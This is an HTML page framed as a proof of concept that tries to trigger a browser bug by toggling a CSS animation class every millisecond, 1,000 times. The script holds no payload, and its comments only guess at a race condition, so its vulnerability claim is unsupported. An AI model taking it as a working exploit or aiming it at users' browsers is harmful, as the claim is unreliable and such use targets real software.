index.html

<!DOCTYPE html>
<html>
  <head>
    <style>
      @keyframes exampleAnimation {
        from {
          opacity: 0;
        }
        to {
          opacity: 1;
        }
      }

      .animate {
        animation: exampleAnimation 5s infinite;
      }
    </style>
  </head>
  <body>
    <div id="targetElement" class="animate">Animating Element</div>

    <script>
      // Example setup: A function that continuously creates and destroys animations
      // The goal here is to simulate rapid, repeated manipulations of the CSS animation timeline
      function triggerVulnerability() {
        const target = document.getElementById("targetElement");

        // Create an animation, then remove it quickly in a loop
        let i = 0;
        const interval = setInterval(() => {
          i++;
          if (i % 2 === 0) {
            target.classList.add("animate");
          } else {
            target.classList.remove("animate");
          }

          // Potentially causing a race condition or triggering the vulnerability
          if (i > 1000) {
            clearInterval(interval);
          }
        }, 1); // Rapid manipulation of the animation state
      }

      // Simulating dynamic DOM manipulation and timeline interaction
      triggerVulnerability();
    </script>
  </body>
</html>